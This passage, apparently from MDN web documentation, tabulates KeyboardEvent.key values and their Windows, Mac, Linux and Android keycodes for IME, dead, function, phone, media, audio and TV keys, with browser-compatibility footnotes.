[5] Firefox generates the key value "AltGraph" instead of "ModeChange".

+ +

Korean keyboards only

+ +

These keys are only available on Korean keyboards. There are other keys defined by various platforms for Korean keyboards, but these are the most common and are the ones identified by the UI Events specification.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
KeyboardEvent.key ValueDescriptionVirtual Keycode
WindowsMacLinuxAndroid
"HangulMode"The Hangul (Korean character set) mode key, which toggles between Hangul and English entry modes.VK_HANGUL (0x15) [1]GDK_KEY_Hangul (0xFF31)
+ Qt::Key_Hangul (0x01001131)
"HanjaMode"Selects the Hanja mode, for converting Hangul characters to the more specific Hanja characters.VK_HANJA (0x19) [1]GDK_KEY_Hangul_Hanja (0xFF34)
+ Qt::Key_Hangul_Hanja (0x01001134)
"JunjaMode"Selects the Junja mode, in which Korean is represented using single-byte Latin characters.VK_JUNJA (0x17)GDK_KEY_Hangul_Jeonja (0xFF38)
+ Qt::Key_Hangul_Jeonja (0x01001138)
+ +

[1] VK_HANGUL and VK_KANA share the same numeric key value on Windows, as do VK_HANJA and VK_KANJI.

+ +

Japanese keyboards only

+ +

These keys are only available on Japanese keyboards.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
KeyboardEvent.key ValueDescriptionVirtual Keycode
WindowsMacLinuxAndroid
"Eisu" [1]The Eisu key. This key's purpose is defined by the IME, but may be used to close the IME.kVK_JIS_Eisu (0x66)GDK_KEY_Eisu_toggle (0xFF2F)
+ Qt::Key_Eisu_toggle (0x01001130)
KEYCODE_EISU (212)
"Hankaku" [3]The Hankaku (half-width characters) key.VK_OEM_AUTO (0xF3)GDK_KEY_Hankaku (0xFF29)
+ Qt::Key_Hankaku (0x01001129)
"Hiragana"The Hiragana key; selects Kana characters mode.VK_OEM_COPY (0xF2)GDK_KEY_Hiragana (0xFF25)
+ Qt::Key_Hiragana (0x01001125)
"HiraganaKatakana" [6]Toggles between the Hiragana and Katakana writing systems.GDK_KEY_Hiragana_Katakana (0xFF27)
+ Qt::Key_Hiragana_Katakana (0x01001127)
KEYCODE_KATAKANA_HIRAGANA (215)
"KanaMode"The Kana Mode (Kana Lock) key.VK_KANA (0x15) [2]
+ VK_ATTN (0xF6)
GDK_KEY_Kana_Lock (0xFF2D)
+ GDK_KEY_Kana_Shift (0xFF2E)
+ Qt::Key_Kana_Lock (0x0100112D)
+ Qt::Key_Kana_Shift (0x0100112E)
"KanjiMode"The Kanji Mode key. Enables entering Japanese text using the ideographic characters of Chinese origin.VK_KANJI [2]kVK_JIS_Kana (0x68)GDK_KEY_Kanji (0xFF21)
+ Qt::Key_Kanji (0x01001121)
KEYCODE_KANA (218)
"Katakana"The Katakana key.VK_OEM_FINISH (0xF1)GDK_KEY_Katakana (0xFF26)
+ Qt::Key_Katakana (0x01001126)
"Romaji" [5]The Romaji key; selects the Roman character set.VK_OEM_BACKTAB (0xF5)GDK_KEY_Romaji (0xFF24)
+ Qt::Key_Romaji (0x01001124)
"Zenkaku" [4]The Zenkaku (full width) characters key.VK_OEM_ENLW (0xF4)GDK_KEY_Zenkaku (0xFF28)
+ Qt::Key_Zenkaku (0x01001128)
"ZenkakuHanaku" [6]The Zenkaku/Hankaku (full width/half width) toggle key.GDK_KEY_Zenkaku_Hankaku (0xFF2A)
+ Qt::Zenkaku_Hankaku (0x0100112A)
+

KEYCODE_ZENKAKU_HANKAKU (211)

+
+ +

[1] Prior to Firefox 37, the Eisu key was mapped to "RomanCharacters" by mistake.

+ +

[2] VK_HANGUL and VK_KANA share the same numeric key value on Windows, as do VK_HANJA and VK_KANJI.

+ +

[3] Prior to Firefox 37, the Hankaku (half-width) key generated the key value "HalfWidth" on Firefox. Also, this key generates the value "Unidentified" on Internet Explorer 9.

+ +

[4] Internet Explorer 9 reports "Unidentified" for the Zenkaku key; Firefox 36 and earlier identify this key as "FullWidth" on Japanese keyboard layouts and "Unidentified" on all other keyboard layouts. Firefox 37 and later, and all versions of Google Chrome, correctly return "Zenkaku".

+ +

[5] "Unidentified" in Internet Explorer 9. Firefox 36 and earlier identify the Romaji key as "RomanCharacters" on Japanese keyboards and "Unidentified" for other keyboards; this is corrected to return "Romaji" in Firefox 37 and later.

+ +

[6] This key is reported as "Unidentified" prior to Firefox 37.

+ +

Dead keycodes for Linux

+ +

Linux generates accented characters using special dead keys; these are keys which are pressed in combination with character keys to generate accented forms of those characters. You can identify which specific dead key was used (if more than one exists) by examining the {{domxref("KeyboardEvent")}}'s associated {{event("compositionupdate")}} event's {{domxref("CompositionEvent.data", "data")}} property.

+ +

You can find a table of the dead keys and the characters they can be used with to generate accented or otherwise special characters on Linux using GTK

+ +

The value of {{domxref("CompositionEvent.data", "data")}} will be one of the following:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CompositionEvent.data valueSymbolComments
GDK_KEY_dead_grave (0xFE50)
+ Qt::Key_Dead_Grave (0x01001250)
`
GDK_KEY_dead_acute (0xFE51)
+ Qt::Key_Dead_Acute (0x01001251)
´
GDK_KEY_dead_circumflex (0xFE52)
+ Qt::Key_Dead_Circumflex (0x01001252)
ˆ
GDK_KEY_dead_tilde (0xFE53)
+ Qt::Key_Dead_Tilde (0x01001253)
˜
GDK_KEY_dead_perispomeni (0xFE53)͂
GDK_KEY_dead_macron (0xFE54)
+ Qt::Key_Dead_Macron (0x01001254)
¯
GDK_KEY_dead_breve (0xFE55)
+ Qt::Key_Dead_Breve (0x01001255)
˘
GDK_KEY_dead_abovedot (0xFE56)
+ Qt::Key_Dead_Abovedot (0x01001256)
˙
GDK_KEY_dead_diaeresis (0xFE57)
+ Qt::Key_Dead_Diaeresis (0x01001257)
¨Also called an umlaut.
GDK_KEY_dead_abovering (0xFE58)
+ Qt::Key_Dead_Abovering (0x01001258)
˚
GDK_KEY_dead_doubleacute (0xFE59)
+ Qt::Key_Dead_Doubleacute (0x01001259)
˝
GDK_KEY_dead_caron (0xFE5A)
+ Qt::Key_Dead_Caron (0x0100125A)
ˇAlso called a háček; used in Czech among other languages.
GDK_KEY_dead_cedilla (0xFE5B)
+ Qt::Key_Dead_Cedilla (0x0100125B)
¸
GDK_KEY_dead_ogonek (0xFE5C)
+ Qt::Key_Dead_Ogonek (0x0100125C)
˛Also called a nosinė; used in Polish and Old Irish.
GDK_KEY_dead_iota (0xFE5D)
+ Qt::Key_Dead_Iota (0x0100125D)
ͅIota subscript.
GDK_KEY_dead_voiced_sound (0xFE5E)
+ Qt::Key_Dead_Voiced_Sound (0x0100125E)
GDK_KEY_dead_semivoiced_sound (0xFE5F)
+ Qt::Key_Dead_Semivoiced_Sound (0x0100125F)
GDK_KEY_dead_belowdot (0xFE60)
+ Qt::Key_Dead_Belowdot (0x01001260)
̣̣
GDK_KEY_dead_hook (0xFE61)
+ Qt::Key_Dead_Hook (0x01001261)
̡
GDK_KEY_dead_horn (0xFE62)
+ Qt::Key_Dead_Horn (0x01001262)
̛
GDK_KEY_dead_stroke (0xFE63)̶̶
GDK_KEY_dead_abovecomma (0xFE64)̓̓
GDK_KEY_dead_psili (0xFE64)᾿
GDK_KEY_dead_abovereversedcomma (0xFE65)ʽ
GDK_KEY_dead_dasia (0xFE65)
GDK_KEY_dead_doublegrave (0xFE66)̏
GDK_KEY_dead_belowring (0xFE67)˳
GDK_KEY_dead_belowmacron (0xFE68)̱
GDK_KEY_dead_belowcircumflex (0xFE69)
GDK_KEY_dead_belowtilde (0xFE6A)̰
GDK_KEY_dead_belowbreve (0xFE6B)̮
GDK_KEY_dead_belowdiaeresis (0xFE6C)̤
GDK_KEY_dead_invertedbreve (0xFE6D)̯
GDK_KEY_dead_belowcomma (0xFE6E)̦
GDK_KEY_dead_currency (0xFE6F)
GDK_KEY_dead_a (0xFE80)
GDK_KEY_dead_A (0xFE81)
GDK_KEY_dead_e (0xFE82)
GDK_KEY_dead_E (0xFE83)
GDK_KEY_dead_i (0xFE84)
GDK_KEY_dead_I (0xFE85)
GDK_KEY_dead_o (0xFE86)
GDK_KEY_dead_O (0xFE87)
GDK_KEY_dead_u (0xFE88)
GDK_KEY_dead_U (0xFE89)
GDK_KEY_dead_small_schwa (0xFE8A)ə
GDK_KEY_dead_capital_schwa (0xFE8B)Ə
GDK_KEY_dead_greek (0xFE8C)
+ +

Function keys

+ +

While various platforms support different numbers of the general-purpose function keys, such as F1-F12 (or F1-F10, or F1-F15, or...), the first few are specifically defined as follows. If more function keys are available, their names continue the pattern here by continuing to increment the numeric portion of each key's name, so that, for example, "F24" is a valid key value.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
KeyboardEvent.key valueDescriptionVirtual Keycode
WindowsMacLinuxAndroid
"F1"The first general-purpose function key, F1.VK_F1 (0x70)kVK_F1 (0x7A)GDK_KEY_F1 (0xFFBE)
+ GDK_KEY_KP_F1 (0xFF91)
+ Qt::Key_F1 (0x01000030)
KEYCODE_F1 (131)
"F2"The F2 key.VK_F2 (0x71)kVK_F2 (0x78)GDK_KEY_F2 (0xFFBF)
+ GDK_KEY_KP_F2 (0xFF92)
+ Qt::Key_F2 (0x01000031)
KEYCODE_F2 (132)
"F3"The F3 key.VK_F3 (0x72)kVK_F3 (0x63)GDK_KEY_F3 (0xFFC0)
+ GDK_KEY_KP_F3 (0xFF93)
+ Qt::Key_F3 (0x01000032)
KEYCODE_F3 (133)
"F4"The F4 key.VK_F4 (0x73)kVK_F4 (0x76)GDK_KEY_F4 (0xFFC1)
+ GDK_KEY_KP_F4 (0xFF94)
+ Qt::Key_F4 (0x01000033)
KEYCODE_F4 (134)
"F5"The F5 key.VK_F5 (0x74)kVK_F5 (0x60)GDK_KEY_F5 (0xFFC2)
+ Qt::Key_F5 (0x01000034)
KEYCODE_F5 (135)
"F6"The F6 key.VK_F6 (0x75)kVK_F6 (0x61)GDK_KEY_F6 (0xFFC3)
+ Qt::Key_F6 (0x01000035)
KEYCODE_F6 (136)
"F7"The F7 key.VK_F7 (0x76)kVK_F7 (0x62)GDK_KEY_F7 (0xFFC4)
+ Qt::Key_F7 (0x01000036)
KEYCODE_F7 (137)
"F8"The F8 key.VK_F8 (0x77)kVK_F8 (0x64)GDK_KEY_F8 (0xFFC5)
+ Qt::Key_F8 (0x01000037)
KEYCODE_F8 (138)
"F9"The F9 key.VK_F9 (0x78)kVK_F9 (0x65)GDK_KEY_F9 (0xFFC6)
+ Qt::Key_F9 (0x01000038)
KEYCODE_F9 (139)
"F10"The F10 key.VK_F10 (0x79)kVK_F10 (0x6D)GDK_KEY_F10 (0xFFC7)
+ Qt::Key_F10 (0x01000039)
KEYCODE_F10 (140)
"F11"The F11 key.VK_F11 (0x7A)kVK_F11 (0x67)GDK_KEY_F11 (0xFFC8)
+ Qt::Key_F11 (0x0100003A)
KEYCODE_F11 (141)
"F12"The F12 key.VK_F12 (0x7B)kVK_F12 (0x6F)GDK_KEY_F12 (0xFFC9)
+ Qt::Key_F12 (0x0100003B)
KEYCODE_F12 (142)
"F13"The F13 key.VK_F13 (0x7C)kVK_F13 (0x69)GDK_KEY_F13 (0xFFCA)
+ Qt::Key_F13 (0x0100003C)
KEYCODE_F13
"F14"The F14 key.VK_F14 (0x7D)kVK_F14 (0x6B)GDK_KEY_F14 (0xFFCB)
+ Qt::Key_F14 (0x0100003D)
KEYCODE_F14
"F15"The F15 key.VK_F15 (0x7E)kVK_F15 (0x71)GDK_KEY_F15 (0xFFCC)
+ Qt::Key_F15 (0x0100003E)
KEYCODE_F15
"F16"The F16 key.VK_F16 (0x7F)kVK_F16 (0x6A)GDK_KEY_F16 (0xFFCD)
+ Qt::Key_F16 (0x0100003F)
KEYCODE_F16
"F17"The F17 key.VK_F17 (0x80)kVK_F17 (0x40)GDK_KEY_F17 (0xFFCE)
+ Qt::Key_F17 (0x01000040)
KEYCODE_F17
"F18"The F18 key.VK_F18 (0x81)kVK_F18 (0x4F)GDK_KEY_F18 (0xFFCF)
+ Qt::Key_F18 (0x01000041)
KEYCODE_F18
"F19"The F19 key.VK_F19 (0x82)kVK_F19 (0x50)GDK_KEY_F19 (0xFFD0)
+ Qt::Key_F19 (0x01000042)
KEYCODE_F19
"F20"The F20 key.VK_F20 (0x83)kVK_F20 (0x5A)GDK_KEY_F20 (0xFFD1)
+ Qt::Key_F20 (0x01000043)
KEYCODE_F20
"Soft1"The first general-purpose virtual function key.Qt::Key_Context1 (0x01100000)
"Soft2"The second general-purpose virtual function key.Qt::Key_Context2 (0x01100001)
"Soft3"The third general-purpose virtual function key.Qt::Key_Context3 (0x01100002)
"Soft4"The fourth general-purpose virtual function key.Qt::Key_Context4 (0x01100003)
+ +

Phone keys

+ +

These keys represent buttons which commonly exist on modern smartphones.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
KeyboardEvent.key ValueDescriptionVirtual Keycode
WindowsMacLinuxAndroid
"AppSwitch"Presents a list of recently-used applications which lets the user change apps quickly.KEYCODE_APP_SWITCH (181)
"Call"The Call key; dials the number which has been entered.Qt::Key_Call (0x01100004)KEYCODE_CALL (5)
"Camera"The Camera key; activates the camera.Qt::Key_Camera (0x01100020)KEYCODE_CAMERA (27)
"CameraFocus"The Focus key; focuses the camera.Qt::Key_CameraFocus (0x01100021)KEYCODE_FOCUS (80)
"EndCall"The End Call or Hang Up button.Qt::Key_Hangup (0x01100005)KEYCODE_ENDCALL (6)
"GoBack"The Back button.KEYCODE_BACK (4)
"GoHome" [1]The Home button, which takes the user to the phone's main screen (usually an application launcher).KEYCODE_HOME (3)
"HeadsetHook"The Headset Hook key. This is typically actually a button on the headset which is used to hang up calls and play or pause media.Qt::Key_ToggleCallHangup (0x01100007)KEYCODE_HEADSETHOOK (79)
"LastNumberRedial"The Redial button, which redials the last-called number.Qt::Key_LastNumberRedial (0x01100009)
"Notification"The Notification key.KEYCODE_NOTIFICATION (83)
"MannerMode"A button which cycles among the notification modes: silent, vibrate, ring, and so forth.KEYCODE_MANNER_MODE (205)
"VoiceDial"The Voice Dial key. Initiates voice dialing.Qt::Key_VoiceDial (0x01100008)KEYCODE_VOICE_ASSIST (231)
+ +

[1] Prior to Firefox 37, the Home button generated a key code of "Exit". Starting in Firefox 37, the button generates the key code "MozHomeScreen".

+ +

Multimedia keys

+ +

The multimedia keys are extra buttons or keys for controlling media devices, found on some keyboards.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
KeyboardEvent.key ValueDescriptionVirtual Keycode
WindowsMacLinuxAndroid
"ChannelDown"Switches to the previous channel.APPCOMMAND_MEDIA_CHANNEL_DOWNQt::Key_ChannelDown (0x01000119)KEYCODE_CHANNEL_DOWN (167)
"ChannelUp"Switches to the next channel.APPCOMMAND_MEDIA_CHANNEL_UPQt::Key_ChannelUp (0x01000118)KEYCODE_CHANNEL_UP (166)
"MediaFastForward" [2]Starts, continues, or increases the speed of fast forwarding the media.APPCOMMAND_MEDIA_FAST_FORWARDGDK_KEY_AudioForward (0x1008FF97)
+ Qt:Key_AudioForward
(0x01000102)
KEYCODE_MEDIA_FAST_FORWARD (90)
"MediaPause"Pauses the currently playing media. Some older applications use simply "Pause" but this is not correct.APPCOMMAND_MEDIA_PAUSEGDK_KEY_AudioPause (0x1008FF31)
+ Qt::Key_MediaPause (0x1000085)
KEYCODE_MEDIA_PAUSE (127)
"MediaPlay"Starts or continues playing media at normal speed, if not already doing so. Has no effect otherwise.APPCOMMAND_MEDIA_PLAYGDK_KEY_AudioPlay (0x1008FF14)KEYCODE_MEDIA_PLAY (126)
"MediaPlayPause"Toggles between playing and pausing the current media.VK_MEDIA_PLAY_PAUSE (0xB3)
+ APPCOMMAND_MEDIA_PLAY_PAUSE
Qt::Key_MediaTogglePlayPause (0x1000086)KEYCODE_MEDIA_PLAY_PAUSE (85)
"MediaRecord"Starts or resumes recording media.APPCOMMAND_MEDIA_RECORDGDK_KEY_AudioRecord (0x1008FF1C)
+ Qt::Key_MediaRecord (0x01000084)
KEYCODE_MEDIA_RECORD (130)
"MediaRewind"Starts, continues, or increases the speed of rewinding the media.APPCOMMAND_MEDIA_REWINDGDK_KEY_AudioRewind (0x1008FF3E)
+ Qt::Key_AudioRewind (0x010000C5)
KEYCODE_MEDIA_REWIND (89)
"MediaStop"Stops the current media activity (such as playing, recording, pausing, forwarding, or rewinding). Has no effect if the media is currently stopped already.VK_MEDIA_STOP (0xB2)
+ APPCOMMAND_MEDIA_STOP
GDK_KEY_AudioStop (0x1008FF15)
+ Qt::Key_MediaStop (0x01000081)
KEYCODE_MEDIA_STOP (86)
"MediaTrackNext" [1]Seeks to the next media or program track.VK_MEDIA_NEXT_TRACK (0xB0)
+ APPCOMMAND_MEDIA_NEXTTRACK
GDK_KEY_AudioNext (0x1008FF17)
+ Qt::Key_MediaNext (0x01000083)
KEYCODE_MEDIA_NEXT (87)
"MediaTrackPrevious" [1]Seeks to the previous media or program track.VK_MEDIA_PREV_TRACK (0xB1)
+ APPCOMMAND_MEDIA_PREVIOUSTRACK
GDK_KEY_AudioPrev (0x1008FF16)
+ Qt::Key_MediaPrevious (0x01000082)
KEYCODE_MEDIA_PREVIOUS (88)
+ +

[1] Internet Explorer, Edge, and Firefox (36 and earlier) use "MediaNextTrack" and "MediaPreviousTrack" instead of "MediaTrackNext" and "MediaTrackPrevious".

+ +

[2] Prior to Firefox 37, Firefox generated the key code "FastFwd" on some platforms and "Unidentified" on others instead of "MediaFastForward".

+ +

Audio control keys

+ +

These media keys are used specifically for controlling audio.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
KeyboardEvent.key ValueDescriptionVirtual Keycode
WindowsMacLinuxAndroid
"AudioBalanceLeft"Adjusts audio balance toward the left.VK_AUDIO_BALANCE_LEFT
"AudioBalanceRight"Adjusts audio balance twoard the right.VK_AUDIO_BALANCE_RIGHT
"AudioBassDown"Decreases the amount of bass.APPCOMMAND_BASS_DOWN
"AudioBassBoostDown"Reduces bass boosting or cycles downward through bass boost modes or states.VK_BASS_BOOST_DOWN
"AudioBassBoostToggle"Toggles bass boosting on and off.APPCOMMAND_BASS_BOOST
"AudioBassBoostUp"Increases the amoung of bass boosting, or cycles upward through a set of bass boost modes or states.VK_BASS_BOOST_UP
"AudioBassUp"Increases the amount of bass.APPCOMMAND_BASS_UP
"AudioFaderFront"Adjusts the audio fader toward the front.VK_FADER_FRONT
"AudioFaderRear"Adjustts the audio fader toward the rear.VK_FADER_REAR
"AudioSurroundModeNext"Selects the next available surround sound mode.VK_SURROUND_MODE_NEXT
"AudioTrebleDown"Decreases the amount of treble.APPCOMMAND_TREBLE_DOWN
"AudioTrebleUp"Increases the amount of treble.APPCOMMAND_TREBLE_UP
"AudioVolumeDown" [1]Decreases the audio volume.VK_VOLUME_DOWN (0xAE)
+ APPCOMMAND_VOLUME_DOWN
kVK_VolumeDown (0x49)GDK_KEY_AudioLowerVolume (0x1008FF11)
+ Qt::Key_VolumeDown (0x01000070)
KEYCODE_VOLUME_DOWN (25)
"AudioVolumeMute" [1]Mutes the audio.VK_VOLUME_MUTE (0xAD)
+ APPCOMMAND_VOLUME_MUTE
kVK_Mute (0x4A)GDK_KEY_AudioMute (0x1008FF12)
+ Qt::Key_VolumeMute (0x01000071)
KEYCODE_VOLUME_MUTE (164)
"AudioVolumeUp" [1]Increases the audio volume.VK_VOLUME_UP (0xAF)
+ APPCOMMAND_VOLUME_UP
kVK_VolumeUp (0x48)GDK_KEY_AudioRaiseVolume (0x1008FF13)
+ Qt::Key_VolumeUp (0x01000072)
KEYCODE_VOLUME_UP (24)
"MicrophoneToggle"Toggles the microphone on and off.APPCOMMAND_MIC_ON_OFF_TOGGLE
"MicrophoneVolumeDown"Decreases the microphone's input volume.APPCOMMAND_MICROPHONE_VOLUME_DOWNQt::Key_MicVolumeDown (0x0100011E)
"MicrophoneVolumeMute"Mutes the microphone input.APPCOMMAND_MICROPHONE_VOLUME_MUTEGDK_KEY_AudioMicMute (0x1008FFB2)
+ Qt::Key_MicMute (0x01000113)
KEYCODE_MUTE (91)
"MicrophoneVolumeUp"Increases the microphone's input volume.APPCOMMAND_MICROPHONE_VOLUME_UPQt::Key_MicVolumeUp (0x0100011D)
+ +

[1] Internet Explorer, Edge, and Firefox (48 and earlier) use "VolumeUp", "VolumeDown", and "VolumeMute" instead of "AudioVolumeUp", "AudioVolumeDown", and "AudioVolumeMute". In Firefox 49 they were updated to match the latest specification. The old names are still used on Boot to Gecko.

+ +

TV control keys

+ +

These key values represent buttons or keys present on television devices, or computers or phones which have TV support.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
KeyboardEvent.key ValueDescriptionVirtual Keycode
WindowsMacLinuxAndroid
"TV" [1]Switches into TV viewing mode.KEYCODE_TV (170)
"TV3DMode"Toggles 3D TV mode on and off.KEYCODE_3D_MODE (206)
"TVAntennaCable"Toggles between antenna and cable inputs.KEYCODE_TV_ANTENNA_CABLE (242)
"TVAudioDescription"Toggles audio description mode on and off.KEYCODE_TV_AUDIO_DESCRIPTION (252)
"TVAudioDescriptionMixDown"Decreases trhe audio description's mixing volume; reduces the volume of the audio descriptions relative to the program sound.KEYCODE_TV_AUDIO_DESCRIPTION_MIX_DOWN (254)
"TVAudioDescriptionMixUp"Increases the audio description's mixing volume; increases the volume of the audio descriptions relative to the program sound.KEYCODE_TV_AUDIO_DESCRIPTION_MIX_UP (253)
"TVContentsMenu"Displays or hides the media contents available for playback (this may be a channel guide showing the currently airing programs, or a list of media files to play).KEYCODE_TV_CONTENTS_MENU (256)
"TVDataService"Displays or hides the TV's data service menu.KEYCODE_TV_DATA_SERVICE (230)
"TVInput" [2]Cycles the input mode on an external TV.KEYCODE_TV_INPUT (178)
"TVInputComponent1"Switches to the input "Component 1."KEYCODE_TV_INPUT_COMPONENT_1 (249)
"TVInputComponent2"Switches to the input "Component 2."KEYCODE_TV_INPUT_COMPONENT_2 (250)
"TVInputComposite1"Switches to the input "Composite 1."KEYCODE_TV_INPUT_COMPOSITE_1 (247)
"TVInputComposite2"Switches to the input "Composite 2."KEYCODE_TV_INPUT_COMPOSITE_2 (248)
"TVInputHDMI1"Switches to the input "HDMI 1."KEYCODE_TV_INPUT_HDMI_1 (243)
"TVInputHDMI2"Switches to the input "HDMI 2."KEYCODE_TV_INPUT_HDMI_2 (244)
"TVInputHDMI3"Switches to the input "HDMI 3."KEYCODE_TV_INPUT_HDMI_3 (245)
"TVInputHDMI4"Switches to the input "HDMI 4."KEYCODE_TV_INPUT_HDMI_4 (246)
"TVInputVGA1"Switches to the input "VGA 1."KEYCODE_TV_INPUT_VGA_1 (251)
"TVMediaContext"The Media Context menu key.KEYCODE_TV_MEDIA_CONTEXT_MENU (257)
"TVNetwork"Toggle the TV's network connection on and off.KEYCODE_TV_NETWORK (241)
"TVNumberEntry"Put the TV into number entry mode.KEYCODE_TV_NUMBER_ENTRY (234)
"TVPower" [2]The device's power button.KEYCODE_TV_POWER (177)
"TVRadioService"Radio button.KEYCODE_TV_RADIO_SERVICE (232)
"TVSatellite"Satellite button.KEYCODE_TV_SATELLITE (237)
"TVSatelliteBS"Broadcast Satellite button.KEYCODE_TV_SATELLITE_BS (238)
"TVSatelliteCS"Communication Satellite button.KEYCODE_TV_SATELLITE_CS (239)
"TVSatelliteToggle"Toggles among available satellites.KEYCODE_TV_SATELLITE_SERVICE (240)
"TVTerrestrialAnalog"Selects analog terrestrial television service (analog cable or antenna reception).KEYCODE_TV_TERRESTRIAL_ANALOG (235)
"TVTerrestrialDigital"Selects digital terrestrial television service (digital cable or antenna receiption).KEYCODE_TV_TERRESTRIAL_DIGITAL (236)
"TVTimer"Timer programming button.KEYCODE_TV_TIMER_PROGRAMMING (258)
+ +

[1] Firefox added proper support for the "TV" key in Firefox 37; before that, this key generated the key code "Live".

+ +

[2] These keys were "Unidentified" until Firefox 37.

+ +

Media controller keys

+ +

Because modern remote controls for media devices often include buttons beyond the basic controls covered elsewhere in this document, key values are defined for a broad array of these additional buttons.

+ +

The values below are derived in part form a number of consumer electronics technical specifications:

+ + + +
+

Remote controls typically include keys whose values are already defined elsewhere, such as under {{anch("Multimedia keys")}} or {{anch("Audio control keys")}}. Those keys' values will match what's documented in those tables.

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
KeyboardEvent.key ValueDescriptionVirtual Keycode
WindowsMacLinuxAndroid
"AVRInput" [3]Changes the input mode on an external audio/video receiver (AVR) unit.KEYCODE_AVR_INPUT (182)
"AVRPower" [3]Toggles the power on an external AVR unit.KEYCODE_AVR_POWER (181)
"ColorF0Red" [3]General-purpose media function key, color-coded red; this has index 0 among the colored keys.VK_COLORED_KEY_0KEYCODE_PROG_RED (183)
"ColorF1Green" [3]General-purpose media funciton key, color-coded green; this has index 1 among the colored keys.VK_COLORED_KEY_1KEYCODE_PROG_GREEN (184)
"ColorF2Yellow" [3]General-purpose media funciton key, color-coded yellow; this has index 2 among the colored keys.VK_COLORED_KEY_2KEYCODE_PROG_YELLOW (185)
"ColorF3Blue" [3]General-purpose media funciton key, color-coded blue; this has index 3 among the colored keys.VK_COLORED_KEY_3KEYCODE_PROG_BLUE (186)
"ColorF4Grey"General-purpose media funciton key, color-coded grey; this has index 4 among the colored keys.VK_COLORED_KEY_4KEYCODE_PROG_GREY
"ColorF5Brown"General-purpose media funciton key, color-coded brown; this has index 5 among the colored keys.VK_COLORED_KEY_5KEYCODE_PROG_BROWN
"ClosedCaptionToggle"Toggles closed captioning on and off.VK_CCKEYCODE_CAPTIONS (175)
"Dimmer"Adjusts the brightness of the device by toggling between two brightness levels or by cycling among multiple brightness levels.VK_DIMMERGDK_KEY_BrightnessAdjust (0x1008FF3B)
"DisplaySwap"Cycles among video sources.VK_DISPLAY_SWAP
"DVR"Switches the input source to the Digital Video Recorder (DVR).KEYCODE_DVR (173)
"Exit"The Exit button, which exits the curreent application or menu.VK_EXITQt::Key_Exit (0x0102000a)
"FavoriteClear0"Clears the program or content stored in the first favorites list slot.VK_CLEAR_FAVORITE_0
"FavoriteClear1"Clears the program or content stored in the second favorites list slot.VK_CLEAR_FAVORITE_1
"FavoriteClear2"Clears the program or content stored in the third favorites list slot.VK_CLEAR_FAVORITE_2
"FavoriteClear3"Clears the program or content stored in the fourth favorites list slot.VK_CLEAR_FAVORITE_3
"FavoriteRecall0"Selects (recalls) the program or content stored in the first favorites list slot.VK_RECALL_FAVORITE_0
"FavoriteRecall1"Selects (recalls) the program or content stored in the second favorites list slot.VK_RECALL_FAVORITE_1
"FavoriteRecall2"Selects (recalls) the program or content stored in the third favorites list slot.VK_RECALL_FAVORITE_2
"FavoriteRecall3"Selects (recalls) the program or content stored in the fourth favorites list slot.VK_RECALL_FAVORITE_3
